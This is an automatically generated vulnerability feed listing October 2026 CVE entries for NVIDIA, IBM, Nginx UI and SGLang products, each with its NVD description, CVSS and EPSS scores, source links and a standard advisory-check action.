NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65104&date=2026-10-25
NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests. A successful exploit of this vulnerability might lead to data tampering and partial information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file.
https://kevwire.com/record/CVE-2026-65110
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file. (Oct 13, 2026).
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65110).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65110&date=2026-10-25).
Sources:
NVD CVE-2026-65110: https://nvd.nist.gov/vuln/detail/CVE-2026-65110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65110&date=2026-10-25
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection.
https://kevwire.com/record/CVE-2026-65141
NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection. (Oct 13, 2026).
NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65141).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65141&date=2026-10-25).
Sources:
NVD CVE-2026-65141: https://nvd.nist.gov/vuln/detail/CVE-2026-65141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65141&date=2026-10-25
NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow.
https://kevwire.com/record/CVE-2026-65148
NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow. (Oct 13, 2026).
NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.
CVSS 7.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65148).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65148&date=2026-10-25).
Sources:
NVD CVE-2026-65148: https://nvd.nist.gov/vuln/detail/CVE-2026-65148
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65148&date=2026-10-25
NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a...
https://kevwire.com/record/CVE-2026-65161
NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a crafted absolute source path. A successful exploit may lead to information disclosure.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65161).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65161&date=2026-10-25).
Sources:
NVD CVE-2026-65161: https://nvd.nist.gov/vuln/detail/CVE-2026-65161
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65161&date=2026-10-25
NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a crafted absolute source path. A successful exploit may lead to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and...
https://kevwire.com/record/CVE-2026-65162
NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and container-security settings. A successful exploit may lead to code execution, privilege escalation, information disclosure, data tampering, and denial of service.
CVSS 10.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65162).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65162&date=2026-10-25).
Sources:
NVD CVE-2026-65162: https://nvd.nist.gov/vuln/detail/CVE-2026-65162
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65162&date=2026-10-25
NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and container-security settings. A successful exploit may lead to code execution, privilege escalation, information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname...
https://kevwire.com/record/CVE-2026-65164
NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname to a restricted directory by supplying crafted archive member names to a dSort job. A successful exploit may lead to arbitrary file creation or overwrite, code execution, information disclosure, data tampering, and denial of service.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65164).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65164&date=2026-10-25).
Sources:
NVD CVE-2026-65164: https://nvd.nist.gov/vuln/detail/CVE-2026-65164
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65164&date=2026-10-25
NVIDIA AIStore for Linux contains a path traversal vulnerability in the dSort archive extraction component where a remote attacker may cause an improper limitation of a pathname to a restricted directory by supplying crafted archive member names to a dSort job. A successful exploit may lead to arbitrary file creation or overwrite, code execution, information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a...
https://kevwire.com/record/CVE-2026-65170
NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a crafted original URL. A successful exploit of this vulnerability may lead to information disclosure.
CVSS 8.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65170).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65170&date=2026-10-25).
Sources:
NVD CVE-2026-65170: https://nvd.nist.gov/vuln/detail/CVE-2026-65170
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65170&date=2026-10-25
NVIDIA AIStore for Linux contains a vulnerability in the experimental HT backend where an unauthenticated remote attacker may cause server-side request forgery by supplying a crafted original URL. A successful exploit of this vulnerability may lead to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL...
https://kevwire.com/record/CVE-2026-65172
NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL... (Oct 13, 2026).
NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL information or control existing ETL jobs by sending crafted GET or POST requests to an AIStore proxy.

A successful exploit may lead to information disclosure and unauthorized start or stop operations that affect the integrity and availability of ETL data-processing pipelines.
CVSS 8.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65172).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65172&date=2026-10-25).
Sources:
NVD CVE-2026-65172: https://nvd.nist.gov/vuln/detail/CVE-2026-65172
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65172&date=2026-10-25
NVIDIA AIStore for Linux and Kubernetes contains a missing authorization vulnerability in the ETL management API where an unauthenticated remote attacker may access ETL information or control existing ETL jobs by sending crafted GET or POST requests to an AIStore proxy.

A successful exploit may lead to information disclosure and unauthorized start or stop operations that affect the integrity and availability of ETL data-processing pipelines.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted...
https://kevwire.com/record/CVE-2026-65173
NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted token-revocation lists. A successful exploit may lead to data tampering and denial of service.
CVSS 9.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65173).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65173&date=2026-10-25).
Sources:
NVD CVE-2026-65173: https://nvd.nist.gov/vuln/detail/CVE-2026-65173
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65173&date=2026-10-25
NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted token-revocation lists. A successful exploit may lead to data tampering and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84315
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, Nginx UI does not apply RequireSecureSession to multiple authenticated mutation routes even though OTP-enabled users are expected to present a fresh X-Secure-Session-ID for sensitive actions. A stolen authenticated session can therefore create or alter automatic backups, DNS credentials and records, certificates and ACME users, Nginx control settings, and site or stream automation without completing the OTP or passkey step-up. This issue is fixed in version 2.4.1.
CVSS 8.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84315).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84315&date=2026-10-25).
Sources:
NVD CVE-2026-84315: https://nvd.nist.gov/vuln/detail/CVE-2026-84315
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84315&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, Nginx UI does not apply RequireSecureSession to multiple authenticated mutation routes even though OTP-enabled users are expected to present a fresh X-Secure-Session-ID for sensitive actions. A stolen authenticated session can therefore create or alter automatic backups, DNS credentials and records, certificates and ACME users, Nginx control settings, and site or stream automation without completing the OTP or passkey step-up. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in...
https://kevwire.com/record/CVE-2026-109229
SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in... (Oct 12, 2026).
SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109229).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109229&date=2026-10-25).
Sources:
NVD CVE-2026-109229: https://nvd.nist.gov/vuln/detail/CVE-2026-109229
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109229&date=2026-10-25
SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive...
https://kevwire.com/record/CVE-2026-102627
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive... (Oct 12, 2026).
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive extraction.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102627).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102627&date=2026-10-25).
Sources:
NVD CVE-2026-102627: https://nvd.nist.gov/vuln/detail/CVE-2026-102627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102627&date=2026-10-25
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive extraction.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to...
https://kevwire.com/record/CVE-2026-103499
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to... (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to cause a denial of service due to uncontrolled resource consumption.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103499).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103499&date=2026-10-25).
Sources:
NVD CVE-2026-103499: https://nvd.nist.gov/vuln/detail/CVE-2026-103499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103499&date=2026-10-25
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 Liberty could allow a remote unauthenticated attacker to cause a denial of service due to uncontrolled resource consumption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system.
https://kevwire.com/record/CVE-2026-105052
IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. (Oct 12, 2026).
IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105052).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105052&date=2026-10-25).
Sources:
NVD CVE-2026-105052: https://nvd.nist.gov/vuln/detail/CVE-2026-105052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105052&date=2026-10-25
IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to...
https://kevwire.com/record/CVE-2026-105464
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to... (Oct 12, 2026).
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to improper privilege management.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105464).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105464&date=2026-10-25).
Sources:
NVD CVE-2026-105464: https://nvd.nist.gov/vuln/detail/CVE-2026-105464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105464&date=2026-10-25
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to improper privilege management.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.
https://kevwire.com/record/CVE-2026-105465
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance. (Oct 12, 2026).
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105465).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105465&date=2026-10-25).
Sources:
NVD CVE-2026-105465: https://nvd.nist.gov/vuln/detail/CVE-2026-105465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105465&date=2026-10-25
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive...
https://kevwire.com/record/CVE-2026-18166
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive... (Oct 12, 2026).
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive information due to improper authorization when using the CREATE WRAPPER command.
CVSS 7.7 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18166).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18166&date=2026-10-25).
Sources:
NVD CVE-2026-18166: https://nvd.nist.gov/vuln/detail/CVE-2026-18166
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18166&date=2026-10-25
IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive information due to improper authorization when using the CREATE WRAPPER command.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended...
https://kevwire.com/record/CVE-2026-18517
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended... (Oct 12, 2026).
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended network egress due to a misconfigured Kubernetes NetworkPolicy.
CVSS 7.7 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18517).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18517&date=2026-10-25).
Sources:
NVD CVE-2026-18517: https://nvd.nist.gov/vuln/detail/CVE-2026-18517
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18517&date=2026-10-25
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended network egress due to a misconfigured Kubernetes NetworkPolicy.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
https://kevwire.com/record/CVE-2026-75095
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption. (Oct 12, 2026).
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75095).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75095&date=2026-10-25).
Sources:
NVD CVE-2026-75095: https://nvd.nist.gov/vuln/detail/CVE-2026-75095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
